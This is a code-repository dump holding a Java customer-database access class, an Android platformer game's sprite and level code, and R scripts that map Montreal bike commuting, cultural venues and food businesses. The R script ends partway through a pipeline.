.getString("<PASSWORD>_PASSWORD");
firstName = queryResult.getString("FIRST_NAME");
lastName = queryResult.getString("LAST_NAME");
pesel = queryResult.getString("PESEL");
accountBalance = queryResult.getString("ACCOUNT_BALLANCE");
}
return new String[] { id, customerPassword, firstName,
lastName, pesel, idNumber, accountBalance };
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
private boolean createCustomer(String idNumber, String pesel,
String password) {
String query = "SELECT create_customer(?,?,?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
myStatement.setString(2, pesel);
myStatement.setString(3, password);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
private void changeCustomerFirstName(String idNumber, String firstName) {
String query = "SELECT change_customer_firstName(?, ?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
myStatement.setString(2, firstName);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private void changeCustomerLastName(String idNumber, String lastName) {
String query = "SELECT change_customer_lastName(?, ?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
myStatement.setString(2, lastName);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private void changeCustomerPassword(String idNumber, String password) {
String query = "SELECT change_customer_password(?, ?);";
PreparedStatement myStatement;
ResultSet queryResult = null;
try {
myStatement = Server.complexDatabaseManager.CONNECTION
.prepareStatement(query);
myStatement.setString(1, idNumber);
myStatement.setString(2, password);
queryResult = myStatement.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public void updateCustomerAccountBalance(String customerID,
String accountBalance) {
customerAccountManagerProxy.changeAccountBalance(customerID,
accountBalance);
}
public boolean isCustomerInSystemDatabase(String idNumber, String password) {
return customerAccountManagerProxy.isCustomerInSystemDatabase(idNumber,
password);
}
public void changeCustomerPassword(String idNumber, String password) {
customerAccountManagerProxy.changeCustomerPassword(idNumber, password);
}
public void changeCustomerLastName(String idNumber, String lastName) {
customerAccountManagerProxy.changeCustomerLastName(idNumber, lastName);
}
public void changeCustomerFirstName(String idNumber, String firstName) {
customerAccountManagerProxy
.changeCustomerFirstName(idNumber, firstName);
}
public String[] fetchCustomerFromDatabase(String idNumber) {
return customerAccountManagerProxy.fetchCustomer(idNumber);
}
public boolean isCustomerAlreadyRegistered(String idNumber) {
return customerAccountManagerProxy
.isCustomerAlreadyRegistered(idNumber);
}
public boolean createCustomer(String idNumber, String pesel, String password) {
return customerAccountManagerProxy.createCustomer(idNumber, pesel,
password);
}
}
| 3e67c9ea66eada97415e12f7a343eb4975be6f79 | [
"Java"
] | 2 | Java | wigiels14/CarWashServer | c6698c99e316377cf34e2328ee171b832c2f2fef | 1e23caa4c805a529b14cd4e62e911dc68613845f |
refs/heads/master | <file_sep>package edu.wc.cs152.anniefarm;
import android.graphics.Canvas;
import android.graphics.PointF;
import android.graphics.RectF;
import android.util.Log;
/**
* Created by shaffer on 4/27/16.
*/
public abstract class Sprite {
private BitmapSequence bitmaps;
protected Vec2d position;
public Sprite(Vec2d v) {
setPosition(v);
}
public void setBitmaps(BitmapSequence b) {
bitmaps = b;
}
public BitmapSequence getBitmaps() { return bitmaps; }
public void setPosition(Vec2d p) {
position = p;
}
public Vec2d getPosition() {
return position;
}
public void draw(Canvas c) {
try {
bitmaps.drawCurrent(c, position.getX(), position.getY(), null);
} catch (Exception e) {
Log.d("exception", e.toString());
Log.d("exception", this.toString() + " " + this.getClass().toString());
}
}
public void tick(double dt) {
bitmaps.tick(dt);
}
public RectF getBoundingBox() {
if (bitmaps==null)
return new RectF(0,0,0,0);
PointF size = bitmaps.getSize();
return new RectF(getPosition().getX(),getPosition().getY(),getPosition().getX()+size.x,getPosition().getY()+size.y);
}
public boolean collidesWith(Sprite other) {
boolean result = intersectionWith(other) != null;
return result;
}
public float getDistance(Sprite other) {
if (collidesWith(other))
return 0;
else {
RectF otherRect = other.getBoundingBox();
RectF rect = getBoundingBox();
PointF size = bitmaps.getSize();
if (position.getX() > otherRect.left && position.getX() < otherRect.right) { // in between
return otherRect.top - rect.bottom;
} else {
return (float) Math.min(Math.sqrt(Math.pow(otherRect.top - rect.bottom, 2) + Math.pow(otherRect.left - rect.left, 2)),
Math.sqrt(Math.pow(otherRect.top - rect.bottom, 2) + Math.pow(otherRect.right - rect.right,2)));
}
}
}
/**
* Return null if I don't intersect with other, otherwise return the overlap of our two bounding boxes.
*
* @param other
* @return
*/
public RectF intersectionWith(Sprite other) {
RectF r = new RectF(getBoundingBox());
if (!r.intersect(other.getBoundingBox()))
return null;
else
return r;
}
public abstract boolean isActive();
public void resolve(Collision collision, Sprite other) {
}
}
<file_sep>package edu.wc.cs152.anniefarm;
import android.view.MotionEvent;
/**
* Created by shaffer on 4/30/16.
*/
public class TouchStateManager {
private static TouchStateManager defaultInstance;
public static TouchStateManager getInstance() {
if (defaultInstance == null)
defaultInstance = new TouchStateManager();
return defaultInstance;
}
private Vec2d lastTouchLocation;
private int touchDownCount;
public TouchStateManager() {
touchDownCount = 0;
lastTouchLocation = null;
}
public void onTouchEvent(MotionEvent e) {
switch(e.getAction()) {
case MotionEvent.ACTION_DOWN:
touchDownCount++;
lastTouchLocation = new Vec2d(e.getX(),e.getY());
break;
case MotionEvent.ACTION_UP:
touchDownCount--;
}
}
public boolean isTouchDown() {
return touchDownCount > 0;
}
public Vec2d getLastTouchLocation() {
return lastTouchLocation;
}
}
<file_sep>package edu.wc.cs152.anniefarm;
import android.graphics.Canvas;
import android.util.Log;
/**
* Created by shaffer on 4/27/16.
*/
public class GameLoop implements Runnable {
private final double FPS = 30;
private Thread thread;
private GameSurfaceView view;
private boolean stopped;
public GameLoop(GameSurfaceView v) {
view = v;
stopped = true;
}
public void start() {
if (!stopped) return;
thread = new Thread(this);
stopped = false;
thread.start();
}
public void stop() {
stopped = true;
}
@Override
public void run() {
Log.d("game", "Game loop running");
while(!stopped && !Thread.interrupted()) {
long startTime = System.currentTimeMillis();
updateWorld();
updateDisplay();
long endTime = System.currentTimeMillis();
delay((long)(1000/FPS - (endTime-startTime)));
}
Log.d("game", "Game loop stopped");
}
private void delay(long v) {
if (v <= 0) v = 5;
try {
Thread.sleep(v);
} catch (InterruptedException e) {
stopped = true;
}
}
private void updateDisplay() {
Canvas c = view.getHolder().lockCanvas();
if (c != null && !view.isPaused()) {
try {
view.drawWorld(c);
} finally {
view.getHolder().unlockCanvasAndPost(c);
}
}
}
private void updateWorld() {
view.tick(1/FPS);
}
}
<file_sep>package edu.wc.cs152.anniefarm;
/**
* Created by water on 12/15/2016.
*/
public class FinishSprite extends Sprite {
BitmapSequence finish= new BitmapSequence();
public FinishSprite(Vec2d vec2d) {
super(vec2d);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins2), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins3), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins4), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins5), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins6), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins7), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins8), .08);
finish.addImage(BitmapRepo.getInstance().getImage(R.drawable.fins9), .08);
setBitmaps(finish);
}
public boolean isActive() {
return false;
}
public void resolve(Collision collision, Sprite other) {
//next level
}
}
<file_sep>package edu.wc.cs152.anniefarm;
/**
* Created by shaffer on 4/28/16.
*/
public class PlatformSprite extends Sprite {
static int resId = R.drawable.platform1;
public PlatformSprite(Vec2d p) {
super(p);
BitmapSequence s = new BitmapSequence();
s.addImage(BitmapRepo.getInstance().getImage(resId), 1);
setBitmaps(s);
}
static public void setSprite(int newResId) {
resId = newResId;
}
@Override
public boolean isActive() {
return false;
}
}
<file_sep>package edu.wc.cs152.anniefarm;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.RectF;
import android.util.Log;
import java.util.ArrayList;
/**
* Created by shaffer on 4/27/16.
*/
public class World {
private static World defaultInstance;
public final static int X_OFF = 200;
public final static float TOP_Y = .25f;
public final static float BOTTOM_Y = .10f;
private GameSurfaceView view;
private RectF viewRect;
private Bitmap background;
private ArrayList<Sprite> sprites;
private int lives;
private int lvl;
private float cameraHeight;
public World(GameSurfaceView view) {
this.view = view;
viewRect = new RectF(0,0,1000,1000);
lvl=1;
lives = 2;
sprites = new ArrayList<Sprite>();
loadLevel(lvl,0);
cameraHeight = 0;
defaultInstance = this;
}
public void loadLevel(int lvl, long score) {
switch (lvl) {
case 0:
background = BitmapRepo.getInstance().getImage(R.drawable.backgameover);
if (!sprites.isEmpty())
sprites.clear();
sprites.add(new PlayerSprite(new Vec2d(0,400),0));
sprites.add(new PlatformSprite(new Vec2d(0, 700)));
sprites.add(new FinishSprite(new Vec2d(500,500)));
break;
case 1:
if (!sprites.isEmpty())
sprites.clear();
background = BitmapRepo.getInstance().getImage(R.drawable.backfarms);
sprites.add(new PlayerSprite(new Vec2d(0,400),score));
sprites.add(new PlatformSprite(new Vec2d(0, 700)));
sprites.add(new PlatformSprite(new Vec2d(0, 100)));
sprites.add(new PlatformSprite(new Vec2d(700, 400)));
sprites.add(new PlatformSprite(new Vec2d(300, 700)));
sprites.add(new PlatformSprite(new Vec2d(1000,700)));
sprites.add(new PlatformSprite(new Vec2d(1350,600)));
sprites.add(new PlatformSprite(new Vec2d(1000,300)));
sprites.add(new PlatformSprite(new Vec2d(1350,250)));
sprites.add(new PlatformSprite(new Vec2d(1700,500)));
sprites.add(new PlatformSprite(new Vec2d(2100,650)));
sprites.add(new PlatformSprite(new Vec2d(2400,650)));
sprites.add(new PlatformSprite(new Vec2d(2800,750)));
sprites.add(new PlatformSprite(new Vec2d(3200,850)));
sprites.add(new PlatformSprite(new Vec2d(3600,750)));
sprites.add(new CDCow(new Vec2d(350,0)));
sprites.add(new CDCow(new Vec2d(250,-300)));
sprites.add(new CDCow(new Vec2d(1200,0)));
sprites.add(new CDCow(new Vec2d(1800,250)));
sprites.add(new CDCow(new Vec2d(2600,450)));
sprites.add(new CDCow(new Vec2d(3000,550)));
sprites.add(new CDCow(new Vec2d(3800,550)));
sprites.add(new FinishSprite(new Vec2d(3800,550)));
break;
case 2:
if (!sprites.isEmpty())
sprites.clear();
background = BitmapRepo.getInstance().getImage(R.drawable.backbakerys);
sprites.add(new PlayerSprite(new Vec2d(0,300),score));
sprites.add(new PlatformSprite(new Vec2d(0, 700)));
sprites.add(new PlatformSprite(new Vec2d(400, 700)));
sprites.add(new PlatformSprite(new Vec2d(800, 700)));
sprites.add(new PlatformSprite(new Vec2d(1200, 700)));
sprites.add(new PlatformSprite(new Vec2d(1600, 700)));
sprites.add(new PlatformSprite(new Vec2d(2000, 700)));
sprites.add(new PlatformSprite(new Vec2d(2400, 700)));
sprites.add(new PlatformSprite(new Vec2d(2800, 700)));
sprites.add(new PlatformSprite(new Vec2d(3200, 700)));
sprites.add(new PlatformSprite(new Vec2d(3600, 700)));
sprites.add(new PlatformSprite(new Vec2d(4000, 700)));
sprites.add(new PlatformSprite(new Vec2d(4400, 700)));
sprites.add(new PlatformSprite(new Vec2d(4800, 700)));
sprites.add(new PlatformSprite(new Vec2d(5200, 700)));
sprites.add(new PlatformSprite(new Vec2d(5600, 700)));
sprites.add(new PlatformSprite(new Vec2d(6000, 700)));
sprites.add(new PlatformSprite(new Vec2d(6400, 700)));
sprites.add(new PlatformSprite(new Vec2d(6800, 700)));
sprites.add(new PlatformSprite(new Vec2d(7200, 700)));
sprites.add(new Duck(new Vec2d(200, 400)));
sprites.add(new Duck(new Vec2d(600, 400)));
sprites.add(new Duck(new Vec2d(1000, 400)));
sprites.add(new Duck(new Vec2d(1400, 400)));
sprites.add(new Duck(new Vec2d(1800, 400)));
sprites.add(new Duck(new Vec2d(2200, 400)));
sprites.add(new Duck(new Vec2d(2600, 400)));
sprites.add(new Duck(new Vec2d(3000, 400)));
sprites.add(new Duck(new Vec2d(3400, 400)));
sprites.add(new Duck(new Vec2d(3800, 400)));
sprites.add(new Duck(new Vec2d(4200, 400)));
sprites.add(new Duck(new Vec2d(4600, 400)));
sprites.add(new Duck(new Vec2d(5000, 400)));
sprites.add(new Duck(new Vec2d(5400, 400)));
sprites.add(new Duck(new Vec2d(5800, 400)));
sprites.add(new Duck(new Vec2d(6200, 400)));
sprites.add(new Duck(new Vec2d(6600, 400)));
sprites.add(new Duck(new Vec2d(7000, 400)));
sprites.add(new FinishSprite(new Vec2d(7300,500)));
break;
case 3:
if (!sprites.isEmpty())
sprites.clear();
background = BitmapRepo.getInstance().getImage(R.drawable.backgrizzlys);
sprites.add(new PlayerSprite(new Vec2d(0,0),score));
PlatformSprite.setSprite(R.drawable.platform2);
sprites.add(new PlatformSprite(new Vec2d(0, 700)));
sprites.add(new PlatformSprite(new Vec2d(400, 700)));
sprites.add(new PlatformSprite(new Vec2d(800, 700)));
sprites.add(new PlatformSprite(new Vec2d(1200, 700)));
sprites.add(new PlatformSprite(new Vec2d(1600, 700)));
sprites.add(new PlatformSprite(new Vec2d(2000, 700)));
sprites.add(new PlatformSprite(new Vec2d(2400, 700)));
sprites.add(new PlatformSprite(new Vec2d(2800, 700)));
sprites.add(new PlatformSprite(new Vec2d(3200, 700)));
sprites.add(new PlatformSprite(new Vec2d(3600, 600)));
sprites.add(new PlatformSprite(new Vec2d(4000, 500)));
sprites.add(new PlatformSprite(new Vec2d(4400, 500)));
sprites.add(new PlatformSprite(new Vec2d(4800, 400)));
sprites.add(new PlatformSprite(new Vec2d(5200, 300)));
sprites.add(new PlatformSprite(new Vec2d(5600, 300)));
sprites.add(new PlatformSprite(new Vec2d(6000, 200)));
sprites.add(new PlatformSprite(new Vec2d(6400, 200)));
sprites.add(new PlatformSprite(new Vec2d(6800, 0)));
sprites.add(new PlatformSprite(new Vec2d(7200, -200)));
sprites.add(new PlatformSprite(new Vec2d(7200, 300)));
sprites.add(new PlatformSprite(new Vec2d(7200, 800)));
sprites.add(new Bear(new Vec2d(200, 200),(PlayerSprite) sprites.get(0)));
sprites.add(new CDCow(new Vec2d(500,500)));
sprites.add(new CDCow(new Vec2d(1700,500)));
sprites.add(new CDCow(new Vec2d(2100,500)));
sprites.add(new CDCow(new Vec2d(2500,500)));
sprites.add(new Duck(new Vec2d(3000,500)));
sprites.add(new CDCow(new Vec2d(3300,500)));
sprites.add(new CDCow(new Vec2d(2000,500)));
sprites.add(new Bear(new Vec2d(7200, -400),(PlayerSprite) sprites.get(0)));
sprites.add(new FinishSprite(new Vec2d(7200,600)));
break;
case 4:
if (!sprites.isEmpty())
sprites.clear();
lives = 99;
background = BitmapRepo.getInstance().getImage(R.drawable.backbakerys);
sprites.add(new PlayerSprite(new Vec2d(0,300),score));
sprites.add(new PlatformSprite(new Vec2d(0, 700)));
sprites.add(new PlatformSprite(new Vec2d(400, 700)));
sprites.add(new PlatformSprite(new Vec2d(800, 700)));
sprites.add(new PlatformSprite(new Vec2d(1200, 700)));
sprites.add(new PlatformSprite(new Vec2d(1600, 700)));
sprites.add(new PlatformSprite(new Vec2d(2000, 700)));
sprites.add(new PlatformSprite(new Vec2d(2400, 700)));
sprites.add(new PlatformSprite(new Vec2d(2800, 700)));
sprites.add(new PlatformSprite(new Vec2d(3200, 700)));
sprites.add(new PlatformSprite(new Vec2d(3600, 700)));
sprites.add(new PlatformSprite(new Vec2d(4000, 700)));
sprites.add(new PlatformSprite(new Vec2d(4400, 700)));
sprites.add(new PlatformSprite(new Vec2d(4800, 700)));
sprites.add(new PlatformSprite(new Vec2d(5200, 700)));
sprites.add(new PlatformSprite(new Vec2d(5600, 700)));
sprites.add(new PlatformSprite(new Vec2d(6000, 700)));
sprites.add(new PlatformSprite(new Vec2d(6400, 700)));
sprites.add(new PlatformSprite(new Vec2d(6800, 700)));
sprites.add(new PlatformSprite(new Vec2d(7200, 700)));
break;
}
}
public static World getInstance() {
return defaultInstance;
}
public RectF getViewRect() {
return viewRect;
}
public void draw(Canvas c) {
// transform coordinates
if (view.isPaused())
return;
if (sprites.get(0).getBoundingBox().top - cameraHeight < TOP_Y * (c.getHeight() + cameraHeight))
cameraHeight = cameraHeight - 10;
else if (sprites.get(0).getBoundingBox().bottom > cameraHeight + c.getHeight() - BOTTOM_Y * c.getHeight() && cameraHeight <= 600)
cameraHeight = cameraHeight + 10;
transform(c);
float x = sprites.get(0).getBoundingBox().left;
int n = (int) x/background.getWidth();
// draw background
viewRect.set(sprites.get(0).getBoundingBox().left - X_OFF,cameraHeight,sprites.get(0).getBoundingBox().left - X_OFF + c.getWidth(),cameraHeight+c.getHeight());
Paint p = new Paint();
p.setARGB(255,255,255,255);
c.drawRect(viewRect,p);
c.drawBitmap(background, (n-1) * background.getWidth(), 0, null);
c.drawBitmap(background, n * background.getWidth(), 0, null);
c.drawBitmap(background, (n+1) * background.getWidth(), 0, null);
Paint p2 = new Paint();
p2.setARGB(255,0,0,0);
p.setTextSize(40.0f);
//show score and lives
c.drawRect(viewRect.left + 50.0f, viewRect.top+50.0f, viewRect.left+325.0f, viewRect.top+120.0f,p2 );
c.drawText(lives + " LIVES", viewRect.left+55.0f, viewRect.top+105.0f, p);
c.drawRect(viewRect.right - 250.0f, viewRect.top+50.0f, viewRect.right, viewRect.top+120.0f,p2);
c.drawText(((PlayerSprite) sprites.get(0)).getScore() + "", viewRect.right - 245.0f, viewRect.top+105.0f,p);
// draw sprites
for(Sprite s: sprites) {
if (s != null && s.getBoundingBox().intersect(viewRect)) //slightly off-screen Sprites should still be drawn
s.draw(c);
}
}
private void transform(Canvas c) {
Matrix m = new Matrix();
m.setTranslate(-sprites.get(0).getPosition().getX()+X_OFF, -cameraHeight);
c.setMatrix(m);
}
public void tick(double t) {
for(Sprite s: sprites)
s.tick(t);
resolve_collisions();
//check player (if they fell no collision would've been generated)
PlayerSprite ps = (PlayerSprite) sprites.get(0);
if (ps.getClass() == PlayerSprite.class) { //if player falls
if (ps.isDead()) {
dead(ps);
}
}
}
private void resolve_collisions() {
ArrayList<Collision> collisions = new ArrayList<>();
for(int i=0; i < sprites.size()-1; i++)
for(int j=i+1; j < sprites.size(); j++) {
Sprite s1 = sprites.get(i);
Sprite s2 = sprites.get(j);
if (s1.collidesWith(s2))
collisions.add(new Collision(s1, s2));
}
for(Collision c: collisions) {
c.resolve();
Sprite s1= c.getSprite();
Sprite s2= c.getOtherSprite();
if (s1.getClass() == PlayerSprite.class && s2.getClass() == FinishSprite.class) {
if (lvl==0) {
lives = 1;
((PlayerSprite) s1).setScore(-1000);
}
lvl++;
lives++;
view.pause();
((PlayerSprite) s1).addScore(1000);
loadLevel(lvl, ((PlayerSprite) s1).getScore());
view.pause();
}
if (s1.getClass() == PlayerSprite.class && ((PlayerSprite) s1).isDead()) {
dead((PlayerSprite) s1);
} else if (s1.getClass().getSuperclass() == MonsterSprite.class && ((MonsterSprite) s1).isDead()) {
sprites.add(new DeathSprite(s1.getPosition()));
sprites.remove(s1);
} else if (s1.getClass() == DeathSprite.class && ((DeathSprite) s1).isDone()) {
sprites.remove(s1);
} else if (s2.getClass() == PlayerSprite.class && ((PlayerSprite) s2).isDead()) {
sprites.add(new DeathSprite(s2.getPosition()));
sprites.remove(s2);
} else if (s2.getClass().getSuperclass() == MonsterSprite.class && ((MonsterSprite) s2).isDead()) {
sprites.add(new DeathSprite(s2.getPosition()));
sprites.remove(s2);
} else if (s2.getClass() == DeathSprite.class && ((DeathSprite) s2).isDone()) {
sprites.remove(s2);
}
}
}
private void dead(PlayerSprite ps) {
sprites.add(new DeathSprite(ps.getPosition()));
lives--;
view.pause();
if (lives==0)
lvl=0;
ps.setScore(ps.getScore()/2);
loadLevel(lvl,ps.getScore());
view.pause();
}
}
| fa4f216260d95db9765e699da5806aee686cd5ad | [
"Java"
] | 6 | Java | hannahpi/AnnieFarm | e965991de45256d5d6c84f7aba386b627ed29bb2 | 372546e75b60dce1993062dc706cadae1e1a8889 |
refs/heads/master | <repo_name>cloesthilaire/housing_warmup1<file_sep>/R/exercise1.R
# load these package ------------------------------------------------------
library(scales)
library(mapview)
# exercise1--bike commuters -----------------------------------------------
DAbike <-
get_census(
dataset = "CA16", regions = list( CSD = c("2466023")), level = "DA",
vectors = c("v_CA16_5792", "v_CA16_5807"),
geo_format = "sf") %>%
st_transform(32618) %>%
select(-c(`Shape Area`:Households, CSD_UID:`Area (sq km)`)) %>%
set_names(c("dwellings", "GeoUID", "parent_commutetowork", "commute_bike", "geometry")) %>%
mutate(p_commute_bike = commute_bike / parent_commutetowork) %>%
as_tibble()%>%
st_as_sf(agr = "constant")
DAbike %>% glimpse()
commuters <- DAbike %>%
ggplot() +
geom_sf(mapping = aes(fill=p_commute_bike), color = NA) +
scale_fill_gradient(name="Percentage of bike commuters",
low = "#074387",
high = "#FFD500",
na.value = "grey80",
labels = scales::percent) +
theme_void()
#can also try
#commuters+ theme(legend.position = "left",legend.title = element_text(face = "bold"),legend.background = element_rect(fill = "blue"))
#commuters+ guides(fill = guide_colourbar(title = "Percentage\nof\nbike commuters", title.vjust = 1))
# \n break into lines
# save figure and adjust size
ggsave("output/figures/commuters.pdf", plot = commuters, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# exercise 2-- intersection -----------------------------------------------
read_csv("data/lieuxculturels.csv")
culturallocation_sf <-
lieuxculturels %>%
st_as_sf(coords = c("Longitude", "Latitude"), crs = 4326) %>% #first need to define the original crs
st_transform(32618)
plot(culturallocation_sf) #quick check how it look like
cul <-
culturallocation_sf %>% #layers come in order
ggplot()+
geom_sf(data = DAbike, aes())+
geom_sf(mapping = aes(color = "red"))
mapview(culturallocation_sf) +
mapview(DAbike)
# st_intersection(DAbike, culturallocation_sf)
# intersect points in polygon
DA_intersect <- st_intersection(culturallocation_sf, DAbike)
DA_intersect2 <-
DA_intersect %>%
count(GeoUID)
DA_intersect2 %>%
group_by(GeoUID)%>%
summarise(n)
# layer up
DA_intersect2 %>%
ggplot()+
geom_sf(data = DAbike, aes())+
geom_sf(mapping = aes(fill = n))
plot(DA_intersect) # quick check what you have in the dataset
#try st_join
view(st_join(DAbike, culturallocation_sf))
cul <- st_join(DAbike, culturallocation_sf) %>%
select(-c(`dwellings`,`parent_commutetowork`,`commute_bike`,`p_commute_bike` )) %>%
filter(Ville != "NA") %>%
group_by(GeoUID) %>%
count()
cul %>%
ggplot() +
geom_sf(data = DAbike, aes(), colour = NA) +
geom_sf(mapping = aes(fill = n), colour = NA)+
scale_fill_gradient(name = "Numbers of \ncultural institutions")+
theme_void()
# discuss with cloe
cul2 <- st_join(DAbike, culturallocation_sf) %>%
select(-c(`dwellings`,`parent_commutetowork`,`commute_bike`,`p_commute_bike` )) %>%
filter(Ville != "NA") %>%
group_by(GeoUID) %>%
summarize(number_ins = n()) # can I put as.character here
glimpse(cul2)
cul2 %>%
ggplot() +
geom_sf(data = DAbike, fill="grey80", color=NA)+
geom_sf(aes(fill = as.character(number_ins)), color=NA)+
scale_fill_manual(name = "Numbers of \nCultural Institutions",
values = col_palette[c(4,1,9)],
na.value = "grey60") +
theme_void()
# geom_label()+
# bbox
<file_sep>/R/12_etablissements_alimentaires.R
load("output/food_businesses.Rdata")
# Alexia's categories ----------------------------------------------------------------------
cafes <-c("Bar laitier", "Casse-croûte",
"Café, thé, infusion, tisane")
restaurants <- c("Restaurant", "Restaurant mets pour emporter", "Restaurant service rapide")
industrial <- c("Usine de produits laitiers","Usine de produits marins","Usine produit autre",
"Fabrique de boissons gazeuses","Distributeur en gros de fruits et légumes frais",
"Distributeur en gros de produits de la pêche","Distributeur en gros de produits mixtes",
"Distributeur en gros de produits carnés","Distributeur en gros de produits laitiers",
"Distributeur en gros de succédanés de produits laitiers","Entrepôt","Entrepôt de produits laitiers",
"Entrepôt de produits mixtes","Entrepôt de produits végétaux","Entrepôt d'eau",
"Distributeur en gros d'eau","Atelier de conditionnement de produits de la pêche",
"Camion de distribution de produits carnés","Camion de distribution de produits de la pêche",
"Camion de distribution de produits laitiers","Découpe à forfait","Ramasseur de lait",
"Site d'eau vendue au volume","Usine d'emballage de glace","Véhicule livraison",
"Local de préparation","Fruits et légumes prêts à l'emploi","Pâtes alimentaires",
"Produits à base de protéines végétales", "Usine d'embouteillage d'eau")
bars <-c("Bar salon, taverne", "Brasserie")
grocery <-c("Épicerie", "Épicerie avec préparation", "Supermarché",
"Magasin à rayons")
specialized <-c("Aliments naturels", "Boucherie", "Boucherie-épicerie",
"Boulangerie", "Charcuterie", "Charcuterie/fromage", "Pâtisserie",
"Pâtisserie-dépôt", "Poissonnerie", "Confiserie/chocolaterie",
"Marché public", "Noix et arachides")
ephemeral <-c("Événements spéciaux", "Camion-cuisine", "Cantine mobile",
"Vendeur itinérant", "Traiteur", "Kiosque", "Bar laitier saisonnier")
institutional <- c("Cafétéria institution d'enseignement",
"École/mesures alimentaires", "Garderie",
"Hôpital", "Organisme d'aide alimentaire",
"Centre d'accueil","Résidence de personnes âgées",
"Cafétéria")
others <- c("Autres", "Cuisine domestique", "Distributrice automatique",
"Cabane à sucre", "Camp de vacances")
# Clean the sf dataset with new categories ----------------------------------------
food_businesses_sf <-
food_businesses_sf %>%
mutate(type = ifelse(type %in% industrial, "Industrial", type),
type = ifelse(type %in% grocery, "General grocery", type),
type = ifelse(type %in% bars, "Bars", type),
type = ifelse(type %in% ephemeral, "Ephemeral", type),
type = ifelse(type %in% institutional, "Institutional", type),
type = ifelse(type %in% specialized, "Specialized", type),
type = ifelse(type %in% others, "Other", type),
type = ifelse(type %in% cafes, "Cafes", type),
type = ifelse(type %in% restaurants, "Restaurants", type))
food_businesses_sf <-
food_businesses_sf %>%
filter(type != "Ephemeral") %>%
#filter(type != "Institutional") %>%
#filter(type != "Industrial") %>%
filter(type != "Other")
# Join with borough --------------------------------------------------
food_businesses_borough <-
food_businesses_sf %>%
st_join(boroughs, .) %>%
st_drop_geometry()
# Clean but with no geometry --------------------------------------------------
food_businesses <-
food_businesses_sf %>%
st_drop_geometry()
# Verify its clean ------------------------------------------------------------
unique(food_businesses$type)
# % ferme et % ouvert out of all categories -----------------------------------
total_status_by_borough <-
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date) %>%
rename(total=n)
# Filter to not have 30830982082 plots
top_10_boroughs <-
boroughs %>%
mutate(dwelling_density = dwellings/st_area(geometry)) %>%
arrange(desc(dwelling_density)) %>%
slice(1:10) %>%
pull(borough)
# Gentrifying boroughs, without Ville-Marie
boroughs_of_interest <- c("Côte-des-Neiges-Notre-Dame-de-Grâce", "Rosemont-La Petite-Patrie",
"Mercier-Hochelaga-Maisonneuve", "Villeray-Saint-Michel-Parc-Extension",
"Le Plateau-Mont-Royal", "Ahuntsic-Cartierville", "Le Sud-Ouest",
"Verdun")
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé" | statut == "Ouvert") %>%
count(borough, statut, date, type) %>%
full_join(., total_status_by_borough, by = c("borough", "statut", "date")) %>%
filter(borough %in% top_10_boroughs) %>%
mutate(percentage = n/total) %>%
filter(statut == "Ouvert") %>%
ggplot()+
#geom_bar(aes(x=date, y=percentage, fill=type),position = "fill",stat = "identity")+ #Looks ugly
geom_smooth(aes(x=date, y= percentage, color=type), se=FALSE)+
facet_wrap(~borough)+
scale_color_manual(name="Type of food\nbusiness",
values=col_palette[c(1:5)])+
scale_y_continuous(name = "Percentage share by type",
labels=scales::percent)+
theme_minimal()
# ratio open-to-close by year by borough by type ------------------------------
total_ferme_by_borough <-
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Fermé") %>%
count(borough, date, type) %>%
rename(total_ferme=n)
total_ouvert_by_borough <-
food_businesses_borough %>%
mutate(date = year(date)) %>%
filter(date>=2011 & date!=2021) %>%
filter(statut == "Ouvert") %>%
count(borough, date, type) %>%
rename(total_ouvert=n)
full_join(total_ferme_by_borough, total_ouvert_by_borough, by = c("borough", "type", "date")) %>%
filter(borough %in% top_10_boroughs) %>%
mutate(total_ouvert = ifelse(is.na(total_ouvert), 0, total_ouvert)) %>%
mutate(total_ferme = ifelse(is.na(total_ferme), 0, total_ferme)) %>%
mutate(ratio_open_to_closed = total_ouvert/total_ferme) %>%
mutate(positive_negative = total_ouvert - total_ferme) %>%
ggplot()+
geom_smooth(aes(x=date, y=positive_negative, color=type), se=FALSE)+
facet_wrap(~borough)+
theme_minimal()
# Food businesses open in 2020 --------------------------------------------------
years <-
food_businesses %>%
filter(statut == "Ouvert") %>%
distinct(name, address, .keep_all = TRUE) %>%
mutate(year = year(date)) %>%
filter(year != 2021) %>%
mutate(duplicates = 2020 - year + 1) %>%
mutate(name_address = paste(name, address)) %>%
group_by(name_address) %>%
expand(duplicates = seq(1:duplicates))
food_businesses_open <-
food_businesses %>%
filter(statut == "Ouvert") %>%
distinct(name, address, .keep_all = TRUE) %>%
mutate(year = year(date)) %>%
filter(year != 2021) %>%
